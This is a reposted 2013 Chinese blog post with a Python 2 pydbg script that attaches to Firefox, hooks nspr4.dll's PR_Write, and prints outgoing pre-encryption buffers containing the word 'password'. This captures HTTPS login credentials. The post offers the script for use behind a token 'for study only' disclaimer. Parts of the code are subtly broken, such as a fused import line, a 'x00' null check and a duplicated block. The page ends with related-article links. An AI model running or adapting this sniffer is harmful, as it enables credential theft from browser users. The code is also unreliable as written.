python利用hook技术破解https的实例代码


Posted in Python onMarch 25, 2013

相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:

下面是源代码:

#!/ur/bin/env python     
from pydbg import *
from pydbg.defines import *import utils     
import sys     
dbg = pydbg()     
found_firefox = False
pattern = "password"
          
def ssl_sniff( dbg, args ):     
    buffer = ""     
    offset = 0
    while 1:     
        byte = dbg.read_process_memory( args[1] + offset, 1 )     
        if byte != "x00":     
            buffer += byte     
            offset += 1
            continue
        else:     
            break
    if pattern in buffer:     
        print "Pre-Encrypted: %s" % buffer
    return DBG_CONTINUE     
# 寻找firefox.exe的进程     
for (pid, name) in dbg.enumerate_processes():     
    if name.lower() == "firefox.exe":     
        found_firefox = True
        hooks = utils.hook_container()     
        dbg.attach(pid)     
        print "[*] Attaching to firefox.exe with PID: %d" % pid     
# 得到firefox的hook的 address     
        hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")     
        if hook_address:     
# 添加hook的内容,包括他的pid,地址,嗅探类型    
            hooks.add( dbg, hook_address, 2, ssl_sniff, None )     
            print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address     
            break
        else:     
            print "[*] Error: Couldn't resolve hook address."
            sys.exit(-1)     
        if found_firefox:     
            print "[*] Hooks set, continuing process."
            dbg.run()     
        else:     
                print "[*] Error: Couldn't find the firefox.exe process."
                sys.exit(-1)     
if found_firefox:     
    print "[*] Hooks set, continuing process."
    dbg.run()     
else:     
    print "[*] Error: Couldn't find the firefox.exe process."
    sys.exit(-1)

转自:http://world77.blog.51cto.com/414605/518679

Python 相关文章推荐
python批量修改文件名的实现代码
Sep 01 Python
Python实现简易版的Web服务器(推荐)
Jan 29 Python
Django管理员账号和密码忘记的完美解决方法
Dec 06 Python
Python3.4学习笔记之 idle 清屏扩展插件用法分析
Mar 01 Python
详解Python3中setuptools、Pip安装教程
Jun 18 Python
教你如何编写、保存与运行Python程序的方法
Jul 12 Python
Python内置方法实现字符串的秘钥加解密(推荐)
Dec 09 Python
Python装饰器用法与知识点小结
Mar 09 Python
Python爬虫headers处理及网络超时问题解决方案
Jun 19 Python
Python闭包装饰器使用方法汇总
Jun 29 Python
面向新手解析python Beautiful Soup基本用法
Jul 11 Python
Python生成器generator原理及用法解析
Jul 20 Python
利用python获得时间的实例说明
Mar 25 #Python
python 将字符串转换成字典dict
Mar 24 #Python
使用python提取html文件中的特定数据的实现代码
Mar 24 #Python
python 切片和range()用法说明
Mar 24 #Python
python list中append()与extend()用法分享
Mar 24 #Python
python del()函数用法
Mar 24 #Python
python dict remove数组删除(del,pop)
Mar 24 #Python
You might like
咖啡的植物学知识
2021/03/03 咖啡文化
php下mysql数据库操作类(改自discuz)
2010/07/03 PHP
PHP多态代码实例
2015/06/26 PHP
CodeIgniter分页类pagination使用方法示例
2016/03/28 PHP
PHP实现支付宝即时到账功能
2016/12/21 PHP
CentOS7系统搭建LAMP及更新PHP版本操作详解
2020/03/26 PHP
JS 有趣的eval优化输入验证实例代码
2013/09/22 Javascript
js中substr,substring,indexOf,lastIndexOf的用法小结
2013/12/27 Javascript
javascript的push使用指南
2014/12/05 Javascript
jstree创建无限分级树的方法【基于ajax动态创建子节点】
2016/10/25 Javascript
js禁止浏览器的回退事件
2017/04/20 Javascript
vue element table 表格请求后台排序的方法
2018/09/28 Javascript
谈谈JavaScript中super(props)的重要性
2019/02/12 Javascript
angular中的post请求处理示例详解
2020/06/30 Javascript
python中执行shell命令的几个方法小结
2014/09/18 Python
Python中的MongoDB基本操作:连接、查询实例
2015/02/13 Python
python计算N天之后日期的方法
2015/03/31 Python
详解Python各大聊天系统的屏蔽脏话功能原理
2016/12/01 Python
mysql 之通过配置文件链接数据库
2017/08/12 Python
python实现决策树、随机森林的简单原理
2018/03/26 Python
python对于requests的封装方法详解
2019/01/03 Python
Python3 修改默认环境的方法
2019/02/16 Python
Python调用C/C++的方法解析
2020/08/05 Python
HTML5本地存储之Web Storage应用介绍
2013/01/06 HTML / CSS
英国皇家邮政海外旗舰店:Royal Mail
2018/02/21 全球购物
Shopbop中文官网:美国亚马逊旗下时尚购物网站
2020/12/15 全球购物
进口业务员岗位职责
2014/04/06 职场文书
建房协议书
2014/04/11 职场文书
公司请假条格式
2014/04/11 职场文书
考试作弊被抓检讨书
2014/10/02 职场文书
2014年乡镇安全生产工作总结
2014/12/02 职场文书
表扬稿范文
2015/01/17 职场文书
销售合作意向书范本
2015/05/08 职场文书
mysql事务隔离级别详情
2021/10/24 MySQL
简单聊一聊SQL注入及防止SQL注入
2022/03/23 MySQL
Apache SeaTunnel实现 非CDC数据抽取
2022/05/20 Servers